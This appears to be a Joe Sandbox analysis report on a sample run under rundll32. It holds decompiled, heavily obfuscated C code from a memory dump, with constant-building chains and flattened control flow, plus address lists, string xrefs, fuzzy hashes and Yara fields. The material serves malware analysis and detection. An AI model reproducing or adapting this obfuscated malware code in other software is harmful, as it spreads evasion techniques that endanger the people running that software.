				_v12 = 0xc4fe74;
				_v12 = _v12 + 0xffff5135;
				_v12 = _v12 << 3;
				_v12 = _v12 | 0x93884f64;
				_v12 = _v12 ^ 0x97a45a93;
				_v8 = 0x39e7f2;
				_v8 = _v8 >> 0xf;
				_v8 = _v8 | 0xbad3ea11;
				_v8 = _v8 >> 0xa;
				_v8 = _v8 ^ 0x00283554;
				_v24 = 0xf498c4;
				_v24 = _v24 >> 9;
				_t265 = 0x63;
				_v24 = _v24 * 0x7e;
				_v24 = _v24 ^ 0x87dfcbb0;
				_v24 = _v24 ^ 0x87e1fc29;
				_v64 = 0xf8b67e;
				_v64 = _v64 * 0x3a;
				_v64 = _v64 ^ 0x3855293f;
				_v20 = 0xd541f4;
				_v20 = _v20 >> 2;
				_t266 = 0x76;
				_v20 = _v20 / _t265;
				_v20 = _v20 / _t266;
				_v20 = _v20 ^ 0x000094d1;
				_v84 = 0xf7e2e5;
				_v84 = _v84 >> 2;
				_v84 = _v84 ^ 0x003391f7;
				_v28 = 0x2256f5;
				_v28 = _v28 << 0xe;
				_v28 = _v28 + 0xffff0450;
				_v28 = _v28 ^ 0x1649c64a;
				_v28 = _v28 ^ 0x83f4877d;
				_v60 = 0xb59cd9;
				_v60 = _v60 ^ 0x7ad550fb;
				_v60 = _v60 >> 0xd;
				_v60 = _v60 ^ 0x000f47ea;
				_v44 = 0x9093fa;
				_v44 = _v44 >> 0x10;
				_v44 = _v44 | 0xe2be2270;
				_t267 = 0x4f;
				_v44 = _v44 / _t267;
				_v44 = _v44 ^ 0x02d7a7cd;
				_v80 = 0xd083c6;
				_v80 = _v80 >> 0xc;
				_v80 = _v80 ^ 0x000607c1;
				E029C3965(_v40, _v48,  &_v124, _v56, 0x1e, _v52);
				E029C3965(_v32, _v92,  &_v644, _v16, 0x208, _v88);
				E029C3965(_v76, _v12,  &_v1164, _v8, 0x208, _v24);
				E029CE112(_a8, _v64, _v20,  &_v644);
				E029CE112(_t294, _v84, _v28,  &_v1164);
				_v120 = _v68;
				_v116 =  &_v644;
				_v112 =  &_v1164;
				_v108 = _v36 | _v72 | 0x00000410;
				_t258 = E029D828A(_v60, _v44, _v80,  &_v124); // executed
				asm("sbb eax, eax");
				return  ~_t258 + 1;
			}

0x029d6059
0x029d605c
0x029d605e
0x029d6061
0x029d6064
0x029d6065
0x029d6066
0x029d606b
0x029d6074
0x029d6078
0x029d607f
0x029d608b
0x029d6090
0x029d6095
0x029d609c
0x029d60a3
0x029d60aa
0x029d60b1
0x029d60b8
0x029d60bf
0x029d60c6
0x029d60cd
0x029d60d1
0x029d60d8
0x029d60df
0x029d60e6
0x029d60ed
0x029d60f2
0x029d60f7
0x029d60fe
0x029d6105
0x029d610c
0x029d6110
0x029d6117
0x029d6122
0x029d6123
0x029d6126
0x029d612d
0x029d6134
0x029d613b
0x029d6142
0x029d6149
0x029d614d
0x029d6154
0x029d615f
0x029d6162
0x029d6169
0x029d6174
0x029d6177
0x029d6180
0x029d6183
0x029d618a
0x029d6195
0x029d6198
0x029d619f
0x029d61a6
0x029d61aa
0x029d61b1
0x029d61b8
0x029d61bf
0x029d61c3
0x029d61ca
0x029d61d1
0x029d61d8
0x029d61de
0x029d61e5
0x029d61e9
0x029d61f0
0x029d61f7
0x029d6201
0x029d6204
0x029d6207
0x029d620e
0x029d6215
0x029d6220
0x029d6223
0x029d622a
0x029d6231
0x029d623a
0x029d623b
0x029d6247
0x029d624c
0x029d6253
0x029d625a
0x029d625e
0x029d6265
0x029d626c
0x029d6270
0x029d6277
0x029d627e
0x029d6285
0x029d628c
0x029d6293
0x029d6297
0x029d629e
0x029d62a5
0x029d62a9
0x029d62b3
0x029d62b6
0x029d62bc
0x029d62c3
0x029d62ca
0x029d62ce
0x029d62e4
0x029d6302
0x029d631b
0x029d6333
0x029d6347
0x029d634f
0x029d6358
0x029d6361
0x029d636f
0x029d6380
0x029d638a
0x029d6392

Strings

?)U8, xrefs: 029D6223
hEG, xrefs: 029D606B
T5(, xrefs: 029D61E9
fm>, xrefs: 029D6110
9,|, xrefs: 029D6117
6"-, xrefs: 029D618A
'%,, xrefs: 029D60DF

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: '%,$6"-$9,|$?)U8$T5($fm>$hEG
API String ID: 0-4282948982
Opcode ID: 97228ab59ed9630f98e9f0e5e78fbbfcc72a5cdc37ae4c889db6885b95efb7da
Instruction ID: dcaef2329f8cb304f479dec1d36ed8fa2a80627ac9977c626d4a1a69b4e10a40
Opcode Fuzzy Hash: 97228ab59ed9630f98e9f0e5e78fbbfcc72a5cdc37ae4c889db6885b95efb7da
Instruction Fuzzy Hash: 1EA10EB5D0121CEBCF08CFE5D98A8DEBBB2FB48304F20815AE416BA250D7B51A49CF54

Uniqueness

Uniqueness Score: -1.00%

Function 029D3130, Relevance: 7.9, Strings: 6, Instructions: 386
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E029D3130(intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v4;
				char _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				unsigned int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				intOrPtr _v120;
				signed int _v124;
				signed int _v128;
				unsigned int _v132;
				signed int _v136;
				signed int _v140;
				intOrPtr _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				void* __ecx;
				intOrPtr _t385;
				intOrPtr _t397;
				void* _t400;
				signed int _t403;
				void* _t406;
				intOrPtr _t407;
				signed int _t409;
				signed int _t410;
				signed int _t411;
				signed int _t412;
				signed int _t413;
				signed int _t414;
				signed int _t415;
				signed int _t416;
				signed int _t417;
				signed int _t418;
				intOrPtr _t419;
				void* _t449;
				intOrPtr* _t459;
				signed int _t462;
				intOrPtr _t467;
				signed int* _t469;
				void* _t473;

				_push(_a12);
				_push(_a8);
				_v16 = __edx;
				_push(_a4);
				_push(__edx);
				E029C8002(__edx);
				_v84 = 0x5d169f;
				_t469 =  &(( &_v168)[5]);
				_v84 = _v84 ^ 0x34c04b16;
				_v84 = _v84 + 0x1e93;
				_t407 = 0;
				_v84 = _v84 ^ 0x349d7c1d;
				_t467 = 0;
				_v24 = 0xb64937;
				_t462 = 0xb622cd8;
				_v24 = _v24 + 0x1155;
				_v24 = _v24 ^ 0x00b65a8d;
				_v28 = 0xd9d321;
				_v28 = _v28 << 3;
				_v28 = _v28 ^ 0x06ce9909;
				_v116 = 0xa845e4;
				_v116 = _v116 >> 0xf;
				_v116 = _v116 ^ 0x397c28b5;
				_v116 = _v116 ^ 0x397d8e03;
				_v88 = 0x5c4384;
				_t409 = 0x45;
				_v88 = _v88 * 0x4b;
				_v88 = _v88 >> 3;
				_v88 = _v88 ^ 0x036acade;
				_v132 = 0xdc9e76;
				_v132 = _v132 + 0x5fbc;
				_v132 = _v132 + 0xffffe028;
				_v132 = _v132 >> 0xd;
				_v132 = _v132 ^ 0x000d0fa2;
				_v32 = 0x97e862;
				_v32 = _v32 / _t409;
				_v32 = _v32 ^ 0x000da538;
				_v148 = 0xb1ea20;
				_v148 = _v148 + 0x359b;
				_t410 = 0x4a;
				_v148 = _v148 / _t410;
				_t411 = 0x41;
				_v148 = _v148 / _t411;
				_v148 = _v148 ^ 0x000f649a;
				_v124 = 0xd281e8;
				_v124 = _v124 + 0xcbfa;
				_v124 = _v124 ^ 0xe68515a3;
				_t412 = 0x78;
				_v124 = _v124 / _t412;
				_v124 = _v124 ^ 0x01e3d78f;
				_v40 = 0xe4647b;
				_v40 = _v40 + 0x7bdf;
				_v40 = _v40 ^ 0x00e9fa9f;
				_v68 = 0xbae5b7;
				_v68 = _v68 >> 1;
				_v68 = _v68 << 0xb;
				_v68 = _v68 ^ 0xeb9bf681;
				_v156 = 0x3df4c5;
				_v156 = _v156 >> 0x10;
				_v156 = _v156 ^ 0x4d671b52;
				_v156 = _v156 + 0xffffa9c9;
				_v156 = _v156 ^ 0x4d625d37;
				_v140 = 0x18922;
				_v140 = _v140 ^ 0xe2fc11b8;
				_v140 = _v140 + 0x7ae7;
				_v140 = _v140 + 0x60b1;
				_v140 = _v140 ^ 0xe2f54784;
				_v164 = 0x68a3f0;
				_t413 = 0x25;
				_v164 = _v164 / _t413;
				_v164 = _v164 + 0xf64d;
				_v164 = _v164 >> 3;
				_v164 = _v164 ^ 0x00032fbb;
				_v56 = 0x19ee78;
				_v56 = _v56 << 0xe;
				_t414 = 0x16;
				_v56 = _v56 * 0x53;
				_v56 = _v56 ^ 0x1430917d;
				_v48 = 0x6a1470;
				_v48 = _v48 | 0xb57ddcff;
				_v48 = _v48 ^ 0xb5778c2e;
				_v60 = 0x2f0963;
				_v60 = _v60 >> 4;
				_v60 = _v60 * 0x75;
				_v60 = _v60 ^ 0x01535e9b;
				_v104 = 0xb58208;
				_v104 = _v104 ^ 0x5d36887e;
				_v104 = _v104 << 0x10;
				_v104 = _v104 ^ 0x0a72eef6;
				_v52 = 0x4918ce;
				_v52 = _v52 << 0xd;
				_v52 = _v52 ^ 0xaaee712b;
				_v52 = _v52 ^ 0x89f52d6f;
				_v96 = 0xf373d3;
				_v96 = _v96 / _t414;
				_v96 = _v96 << 0xe;
				_v96 = _v96 ^ 0xc4345706;
				_v76 = 0xfa3435;
				_t415 = 0x67;
				_v76 = _v76 / _t415;
				_v76 = _v76 >> 4;
				_v76 = _v76 ^ 0x00006f2d;
				_v20 = 0xae808a;
				_v20 = _v20 >> 3;
				_v20 = _v20 ^ 0x001c6c14;
				_v92 = 0x44420d;
				_t416 = 0x7b;
				_v92 = _v92 / _t416;
				_v92 = _v92 >> 3;
				_v92 = _v92 ^ 0x0008631e;
				_v160 = 0x1e9b14;
				_v160 = _v160 << 1;
				_v160 = _v160 + 0x6acb;
				_v160 = _v160 | 0x2b135b1a;
				_v160 = _v160 ^ 0x2b39dc63;
				_v152 = 0xaf56a0;
				_v152 = _v152 + 0xffff61d0;
				_v152 = _v152 * 0x36;
				_v152 = _v152 >> 6;
				_v152 = _v152 ^ 0x0091b7f7;
				_v112 = 0xda5cef;
				_t417 = 0x5c;
				_v112 = _v112 * 0x5f;
				_v112 = _v112 | 0xc5775f64;
				_v112 = _v112 ^ 0xd57f0cd3;
				_v100 = 0xa51ea2;
				_v100 = _v100 << 0xc;
				_v100 = _v100 | 0xba023f10;
				_v100 = _v100 ^ 0xfbee3b1d;
				_v108 = 0x588e05;
				_v108 = _v108 / _t417;
				_t418 = 0x50;
				_v108 = _v108 * 0x2d;
				_v108 = _v108 ^ 0x002eb57d;
				_v72 = 0xd354ff;
				_v72 = _v72 << 7;
				_v72 = _v72 + 0x53f7;
				_v72 = _v72 ^ 0x69a72a70;
				_v64 = 0x7a83a6;
				_v64 = _v64 + 0x2d14;
				_v64 = _v64 + 0xffffec8a;
				_v64 = _v64 ^ 0x007c9d2a;
				_v168 = 0xa627fa;
				_v168 = _v168 + 0xffff97ca;
				_v168 = _v168 + 0xc15c;
				_v168 = _v168 * 0x1e;
				_v168 = _v168 ^ 0x1383a277;
				_v80 = 0xe60465;
				_v80 = _v80 | 0xce5ceabc;
				_v80 = _v80 * 0x7d;
				_v80 = _v80 ^ 0x1277eb64;
				_v128 = 0x2eade2;
				_v128 = _v128 << 0xd;
				_v128 = _v128 << 0xa;
				_v128 = _v128 + 0x3783;
				_v128 = _v128 ^ 0xf1097c2e;
				_v36 = 0x48cfcc;
				_v36 = _v36 * 0x62;
				_v36 = _v36 ^ 0x1bda1686;
				_v136 = 0x7c01b2;
				_v136 = _v136 << 2;
				_v136 = _v136 >> 0xb;
				_v136 = _v136 / _t418;
				_v136 = _v136 ^ 0x0001542c;
				_v44 = 0xf72617;
				_v44 = _v44 >> 9;
				_v44 = _v44 ^ 0x00073da0;
				_t459 = _v12;
				while(1) {
					L1:
					_t385 = _v120;
					while(1) {
						L2:
						_t449 = 0xf415efc;
						while(1) {
							L3:
							_t419 = _v144;
							while(1) {
								L4:
								_t473 = _t462 - 0xb1ef800;
								if(_t473 > 0) {
									break;
								}
								if(_t473 == 0) {
									E029CF699(_v72, _t467, _v64, _v168, _v80);
									_t469 =  &(_t469[3]);
									_t462 = 0x752064a;
									goto L1;
								} else {
									if(_t462 == 0x33609d5) {
										_push(_t419);
										_t467 = E029D6F53(0x2000);
										_t462 =  !=  ? 0x5f8bdac : 0x752064a;
										while(1) {
											L1:
											_t385 = _v120;
											goto L2;
										}
									} else {
										if(_t462 == 0x5943c55) {
											_push(_t419); // executed
											_t385 = E029D6F53(0x20000); // executed
											_t407 = _t385;
											if(_t407 != 0) {
												_t462 = 0x33609d5;
												while(1) {
													L1:
													_t385 = _v120;
													goto L2;
												}
											}
										} else {
											if(_t462 == 0x5cfb4e3) {
												_t397 = E029CC38F(_v52, _v28, _v16, _v96,  *_t459); // executed
												_t419 = _t397;
												_t469 =  &(_t469[3]);
												_t385 = _v120;
												_v144 = _t419;
												_t449 = 0xf415efc;
												_t462 =  !=  ? 0xf415efc : 0xfbae4fa;
												continue;
											} else {
												_t385 = 0x5f8bdac;
												if(_t462 == 0x5f8bdac) {
													_push(_t419);
													_push(_v48);
													_push(_v56);
													_push(_v164);
													_push( &_v8);
													_push(_v140);
													_push(_v16);
													_push(_t419);
													_push(_v156);
													_push(_v68);
													_push( &_v12);
													_push(_v40);
													_push(_v124);
													_push(_t407);
													_t400 = E029E2398(_t419, _v148);
													_t469 = _t469 - 0xc + 0x44;
													if(_t400 == 0) {
														L27:
														_t462 = 0xb1ef800;
														while(1) {
															L1:
															_t385 = _v120;
															goto L2;
														}
													} else {
														_t403 = E029CC52A();
														_t462 = 0x5cfb4e3;
														_t385 = _v12 * 0x2c + _t407;
														_v120 = _t385;
														_t459 =  >=  ? _t407 : (_t403 & 0x0000001f) * 0x2c + _t407;
														L2:
														_t449 = 0xf415efc;
														goto L3;
													}
													L31:
												} else {
													if(_t462 == 0x752064a) {
														_t406 = E029CF699(_v128, _t407, _v36, _v136, _v44); // executed
														return _t406;
													}
													L29:
													if(_t462 != 0xe79a120) {
														_t385 = _v120;
														L3:
														_t419 = _v144;
														continue;
													}
												}
											}
										}
									}
								}
								L12:
								return _t385;
								goto L31;
							}
							if(_t462 == 0xb622cd8) {
								_t462 = 0x5943c55;
								goto L29;
							} else {
								if(_t462 == 0xe1582d4) {
									E029C53D6(_a4, _v100, _t467, _v24, _v108);
									_t469 =  &(_t469[3]);
									goto L27;
								} else {
									if(_t462 == _t449) {
										E029E1BB6(_v76, _t467, _v84, _v20, _v92,  &_v4, _t419, _t419, _v160);
										_t462 =  !=  ? 0xe1582d4 : 0xfbae4fa;
										_t385 = E029C7CC1(_v144, _v152, _v112);
										_t469 =  &(_t469[8]);
										_t449 = 0xf415efc;
										goto L29;
									} else {
										if(_t462 != 0xfbae4fa) {
											goto L29;
										} else {
											_t459 = _t459 + 0x2c;
											asm("sbb esi, esi");
											_t462 = (_t462 & 0xfab0bce3) + 0xb1ef800;
											goto L4;
										}
									}
								}
							}
							goto L12;
						}
					}
				}
			}

0x029d313a
0x029d3143
0x029d314a
0x029d3151
0x029d3158
0x029d315a
0x029d315f
0x029d3167
0x029d316a
0x029d3174
0x029d317c
0x029d317e
0x029d3186
0x029d3188
0x029d3193
0x029d3198
0x029d31a3
0x029d31ae
0x029d31b9
0x029d31c1
0x029d31cc
0x029d31d4
0x029d31d9
0x029d31e1
0x029d31e9
0x029d31f8
0x029d31fb
0x029d31ff
0x029d3204
0x029d320c
0x029d3214
0x029d321c
0x029d3224
0x029d3229
0x029d3231
0x029d3247
0x029d324e
0x029d3259
0x029d3261
0x029d326d
0x029d3272
0x029d327c
0x029d3281
0x029d3287
0x029d328f
0x029d3297
0x029d329f
0x029d32ab
0x029d32ae
0x029d32b2
0x029d32ba
0x029d32c5
0x029d32d0
0x029d32db
0x029d32e3
0x029d32e7
0x029d32ec
0x029d32f4
0x029d32fc
0x029d3303
0x029d330b
0x029d3313
0x029d331b
0x029d3323
0x029d332b
0x029d3333
0x029d333b
0x029d3343
0x029d3351
0x029d3356
0x029d335c
0x029d3364
0x029d3369
0x029d3371
0x029d337c
0x029d338c
0x029d338f
0x029d3396
0x029d33a1
0x029d33ac
0x029d33b7
0x029d33c2
0x029d33cd
0x029d33dd
0x029d33e4
0x029d33ef
0x029d33f7
0x029d33ff
0x029d3404
0x029d340c
0x029d3417
0x029d341f
0x029d342a
0x029d3435
0x029d3445
0x029d3449
0x029d344e
0x029d3456
0x029d3462
0x029d3467
0x029d346d
0x029d3472
0x029d347a
0x029d3485
0x029d348d
0x029d3498
0x029d34a4
0x029d34a7
0x029d34ab
0x029d34b0
0x029d34b8
0x029d34c0
0x029d34c4
0x029d34cc
0x029d34d4
0x029d34dc
0x029d34e4
0x029d34f1
0x029d34f5
0x029d34fa
0x029d3502
0x029d3513
0x029d3516
0x029d351a
0x029d3522
0x029d352a
0x029d3532
0x029d3537
0x029d353f
0x029d3547
0x029d3557
0x029d3560
0x029d3561
0x029d3565
0x029d356d
0x029d3575
0x029d357a
0x029d3582
0x029d358a
0x029d3592
0x029d359a
0x029d35a2
0x029d35aa
0x029d35b2
0x029d35ba
0x029d35c7
0x029d35cb
0x029d35d3
0x029d35db
0x029d35e8
0x029d35ec
0x029d35f4
0x029d35fc
0x029d3601
0x029d3606
0x029d360e
0x029d3616
0x029d3629
0x029d3630
0x029d363b
0x029d3643
0x029d3648
0x029d3653
0x029d3657
0x029d365f
0x029d366a
0x029d3672
0x029d367d
0x029d3684
0x029d3684
0x029d3684
0x029d3688
0x029d3688
0x029d3688
0x029d368d
0x029d368d
0x029d368d
0x029d3691
0x029d3691
0x029d3691
0x029d3697
0x00000000
0x00000000
0x029d369d
0x029d3841
0x029d3846
0x029d3849
0x00000000
0x029d36a3
0x029d36a9
0x029d380f
0x029d3815
0x029d3824
0x029d3684
0x029d3684
0x029d3684
0x00000000
0x029d3684
0x029d36af
0x029d36b5
0x029d37e4
0x029d37e5
0x029d37ea
0x029d37ef
0x029d37f5
0x029d3684
0x029d3684
0x029d3684
0x00000000
0x029d3684
0x029d3684
0x029d36bb
0x029d36c1
0x029d37b1
0x029d37b6
0x029d37b8
0x029d37bb
0x029d37c6
0x029d37ca
0x029d37cf
0x00000000
0x029d36c7
0x029d36c7
0x029d36ce
0x029d3707
0x029d3708
0x029d3716
0x029d371d
0x029d3721
0x029d3722
0x029d372d
0x029d3734
0x029d3735
0x029d3739
0x029d3740
0x029d3741
0x029d374b
0x029d3753
0x029d3754
0x029d3759
0x029d375e
0x029d3903
0x029d3903
0x029d3684
0x029d3684
0x029d3684
0x00000000
0x029d3684
0x029d3764
0x029d376c
0x029d3774
0x029d3786
0x029d378a
0x029d378e
0x029d3688
0x029d3688
0x00000000
0x029d3688
0x00000000
0x029d36d0
0x029d36d6
0x029d36f4
0x00000000
0x029d36f9
0x029d3912
0x029d3918
0x029d391e
0x029d368d
0x029d368d
0x00000000
0x029d368d
0x029d3918
0x029d36ce
0x029d36c1
0x029d36b5
0x029d36a9
0x029d3706
0x029d3706
0x00000000
0x029d3706
0x029d3859
0x029d390d
0x00000000
0x029d385f
0x029d3865
0x029d38fb
0x029d3900
0x00000000
0x029d3867
0x029d3869
0x029d38b5
0x029d38d2
0x029d38d5
0x029d38da
0x029d38dd
0x00000000
0x029d386b
0x029d3871
0x00000000
0x029d3877
0x029d3877
0x029d387c
0x029d3884
0x00000000
0x029d3884
0x029d3871
0x029d3869
0x029d3865
0x00000000
0x029d3859
0x029d368d
0x029d3688

Strings

z, xrefs: 029D332B
BD, xrefs: 029D3498
-o, xrefs: 029D3472
{d, xrefs: 029D32BA
7]bM, xrefs: 029D3313
c/, xrefs: 029D33C2

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: BD$-o$7]bM$c/${d$z
API String ID: 0-1369920251
Opcode ID: 42b481087d7846fdf29b4248f9d2a738d9d97d753bd4fe86f6eaa9e406562319
Instruction ID: 366f8fe6da0c92e730a29fe830a251c64044f4fdf69c80516d03064f5f1746a1
Opcode Fuzzy Hash: 42b481087d7846fdf29b4248f9d2a738d9d97d753bd4fe86f6eaa9e406562319
Instruction Fuzzy Hash: 18122372908780DFE368DF25C489A4BFBE2BBC4748F10891DE5D986260D7B58849DF43

Uniqueness

Uniqueness Score: -1.00%

Function 029DBA18, Relevance: 7.8, Strings: 6, Instructions: 254
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E029DBA18() {
				char _v520;
				char _v1040;
				signed int _v1044;
				signed int _v1048;
				signed int _v1052;
				signed int _v1056;
				signed int _v1060;
				signed int _v1064;
				signed int _v1068;
				signed int _v1072;
				signed int _v1076;
				signed int _v1080;
				signed int _v1084;
				signed int _v1088;
				signed int _v1092;
				signed int _v1096;
				signed int _v1100;
				signed int _v1104;
				signed int _v1108;
				signed int _v1112;
				signed int _v1116;
				signed int _v1120;
				signed int _v1124;
				signed int _v1128;
				signed int _v1132;
				signed int _v1136;
				signed int _v1140;
				signed int _v1144;
				void* _t291;
				void* _t292;
				void* _t298;
				signed int _t300;
				signed int _t301;
				signed int _t302;
				signed int _t303;
				signed int _t304;
				signed int _t305;
				signed int _t306;
				signed int _t307;
				signed int _t308;
				void* _t346;
				signed int* _t350;

				_t350 =  &_v1144;
				_v1088 = 0x578dcf;
				_v1088 = _v1088 ^ 0x72d8eae0;
				_v1088 = _v1088 ^ 0x604644e7;
				_v1088 = _v1088 ^ 0x12c10287;
				_v1052 = 0x38fed8;
				_v1052 = _v1052 << 7;
				_v1052 = _v1052 ^ 0x1c72639b;
				_v1072 = 0x5d57b3;
				_t300 = 0x51;
				_v1072 = _v1072 / _t300;
				_v1072 = _v1072 | 0x27437ed3;
				_t346 = 0x3a9283f;
				_v1072 = _v1072 ^ 0x2743eead;
				_v1140 = 0x39fc3a;
				_v1140 = _v1140 | 0x3511b52e;
				_v1140 = _v1140 ^ 0xa1037239;
				_v1140 = _v1140 << 2;
				_v1140 = _v1140 ^ 0x50e72e8e;
				_v1084 = 0xe364a7;
				_v1084 = _v1084 + 0xffff1bb0;
				_v1084 = _v1084 + 0x83e4;
				_v1084 = _v1084 ^ 0x00edd9be;
				_v1092 = 0xcd49be;
				_v1092 = _v1092 + 0xfffff351;
				_v1092 = _v1092 + 0x7657;
				_v1092 = _v1092 ^ 0x00c3c545;
				_v1080 = 0x33d34b;
				_v1080 = _v1080 + 0x2926;
				_v1080 = _v1080 >> 3;
				_v1080 = _v1080 ^ 0x000d4658;
				_v1116 = 0xd6e4b1;
				_v1116 = _v1116 + 0xffffd162;
				_t301 = 0x7d;
				_v1116 = _v1116 / _t301;
				_t302 = 0xc;
				_v1116 = _v1116 * 0x43;
				_v1116 = _v1116 ^ 0x007ba9a8;
				_v1124 = 0x80bcd1;
				_v1124 = _v1124 >> 0xe;
				_v1124 = _v1124 << 6;
				_v1124 = _v1124 / _t302;
				_v1124 = _v1124 ^ 0x00016842;
				_v1132 = 0xf0be53;
				_v1132 = _v1132 * 0x1e;
				_v1132 = _v1132 * 0x33;
				_v1132 = _v1132 ^ 0x290bda3c;
				_v1132 = _v1132 ^ 0xb7d6f92b;
				_v1096 = 0xe4a0f6;
				_v1096 = _v1096 << 3;
				_v1096 = _v1096 << 7;
				_v1096 = _v1096 ^ 0x92808ae1;
				_v1112 = 0x918d3e;
				_v1112 = _v1112 + 0xe68b;
				_v1112 = _v1112 + 0x4384;
				_v1112 = _v1112 + 0x454f;
				_v1112 = _v1112 ^ 0x009ce1df;
				_v1056 = 0xe02207;
				_v1056 = _v1056 << 6;
				_v1056 = _v1056 ^ 0x380f5f9a;
				_v1064 = 0x1d17c8;
				_v1064 = _v1064 + 0x3b03;
				_v1064 = _v1064 ^ 0x00166bdb;
				_v1068 = 0xa7024e;
				_v1068 = _v1068 >> 0xe;
				_t303 = 0x53;
				_v1068 = _v1068 / _t303;
				_v1068 = _v1068 ^ 0x0006ef95;
				_v1048 = 0xb131df;
				_t304 = 7;
				_v1048 = _v1048 / _t304;
				_v1048 = _v1048 ^ 0x00172439;
				_v1128 = 0x98c5;
				_t305 = 0x4b;
				_v1128 = _v1128 / _t305;
				_v1128 = _v1128 | 0x25b294d5;
				_v1128 = _v1128 + 0x1183;
				_v1128 = _v1128 ^ 0x25b44a7a;
				_v1120 = 0xdd649c;
				_v1120 = _v1120 << 1;
				_v1120 = _v1120 >> 7;
				_v1120 = _v1120 + 0x1ebd;
				_v1120 = _v1120 ^ 0x000ffcf9;
				_v1044 = 0x3c594f;
				_v1044 = _v1044 >> 8;
				_v1044 = _v1044 ^ 0x0007c049;
				_v1136 = 0x813d75;
				_v1136 = _v1136 + 0xffffe018;
				_v1136 = _v1136 << 0xf;
				_t306 = 0x2d;
				_v1136 = _v1136 / _t306;
				_v1136 = _v1136 ^ 0x0329d30a;
				_v1104 = 0x9e0c99;
				_t307 = 0x56;
				_v1104 = _v1104 * 0x31;
				_v1104 = _v1104 ^ 0x373f2716;
				_v1104 = _v1104 ^ 0x29722c6a;
				_v1144 = 0xcfb157;
				_v1144 = _v1144 + 0xc7e1;
				_v1144 = _v1144 * 0x6e;
				_v1144 = _v1144 / _t307;
				_v1144 = _v1144 ^ 0x010037de;
				_v1060 = 0x40eab4;
				_t308 = 0x4f;
				_v1060 = _v1060 / _t308;
				_v1060 = _v1060 ^ 0x00084cf2;
				_v1100 = 0x613cd;
				_v1100 = _v1100 >> 0xe;
				_v1100 = _v1100 | 0x5b84e556;
				_v1100 = _v1100 ^ 0x5b8d806d;
				_v1108 = 0x9efb4f;
				_v1108 = _v1108 * 0x51;
				_v1108 = _v1108 + 0xb919;
				_v1108 = _v1108 << 5;
				_v1108 = _v1108 ^ 0x49cda1b4;
				_v1076 = 0xd413b2;
				_v1076 = _v1076 * 0x51;
				_v1076 = _v1076 + 0xffffe488;
				_v1076 = _v1076 ^ 0x431ec87e;
				E029C8CBC();
				do {
					while(_t346 != 0x1d77e83) {
						if(_t346 == 0x3a9283f) {
							_t346 = 0x1d77e83;
							continue;
						}
						if(_t346 == 0x8036ef7) {
							_push(0x29c147c);
							_t292 = E029E0AD3(_v1096, _v1112, __eflags);
							E029C8C65(_v1068, __eflags,  *0x29e5bd8 + 0x30,  *0x29e5bd8 + 0x238, _v1048, E029CC52A(), _v1128, _t292, _v1120,  &_v520, _v1044, _v1136);
							_t291 = E029D2EED(_v1104, _v1144, _v1060, _t292);
							_t350 =  &(_t350[0xd]);
							_t346 = 0xa34ddae;
							continue;
						}
						_t356 = _t346 - 0xa34ddae;
						if(_t346 != 0xa34ddae) {
							goto L10;
						}
						_t298 = E029D604E(_v1100,  &_v520, _t356, _v1108,  &_v1040, _v1076); // executed
						return _t298;
					}
					_push(0x29c141c);
					E029E06A6(__eflags,  *0x29e5bd8 + 0x238, _v1140, E029E0AD3(_v1052, _v1072, __eflags), _v1084, _v1092,  &_v1040, _v1080);
					_t291 = E029D2EED(_v1116, _v1124, _v1132, _t288);
					_t350 =  &(_t350[0xa]);
					_t346 = 0x8036ef7;
					L10:
					__eflags = _t346 - 0xb42239;
				} while (__eflags != 0);
				return _t291;
			}

0x029dba18
0x029dba1e
0x029dba28
0x029dba30
0x029dba38
0x029dba40
0x029dba48
0x029dba4d
0x029dba55
0x029dba67
0x029dba6c
0x029dba72
0x029dba7a
0x029dba7f
0x029dba87
0x029dba8f
0x029dba97
0x029dba9f
0x029dbaa4
0x029dbaac
0x029dbab4
0x029dbabc
0x029dbac4
0x029dbacc
0x029dbad4
0x029dbadc
0x029dbae4
0x029dbaec
0x029dbaf4
0x029dbafc
0x029dbb01
0x029dbb09
0x029dbb11
0x029dbb1d
0x029dbb22
0x029dbb2d
0x029dbb2e
0x029dbb32
0x029dbb3a
0x029dbb42
0x029dbb47
0x029dbb52
0x029dbb56
0x029dbb5e
0x029dbb6b
0x029dbb74
0x029dbb78
0x029dbb80
0x029dbb88
0x029dbb90
0x029dbb95
0x029dbb9a
0x029dbba2
0x029dbbaa
0x029dbbb2
0x029dbbba
0x029dbbc2
0x029dbbca
0x029dbbd2
0x029dbbd7
0x029dbbdf
0x029dbbe7
0x029dbbef
0x029dbbf7
0x029dbc01
0x029dbc0c
0x029dbc11
0x029dbc17
0x029dbc1f
0x029dbc2b
0x029dbc30
0x029dbc36
0x029dbc3e
0x029dbc4a
0x029dbc4f
0x029dbc55
0x029dbc5d
0x029dbc65
0x029dbc6d
0x029dbc75
0x029dbc79
0x029dbc7e
0x029dbc86
0x029dbc8e
0x029dbc96
0x029dbc9b
0x029dbca3
0x029dbcab
0x029dbcb3
0x029dbcbc
0x029dbcc1
0x029dbcc7
0x029dbccf
0x029dbcdc
0x029dbcdf
0x029dbce3
0x029dbceb
0x029dbcf3
0x029dbcfb
0x029dbd08
0x029dbd14
0x029dbd18
0x029dbd20
0x029dbd2c
0x029dbd2f
0x029dbd33
0x029dbd3b
0x029dbd43
0x029dbd48
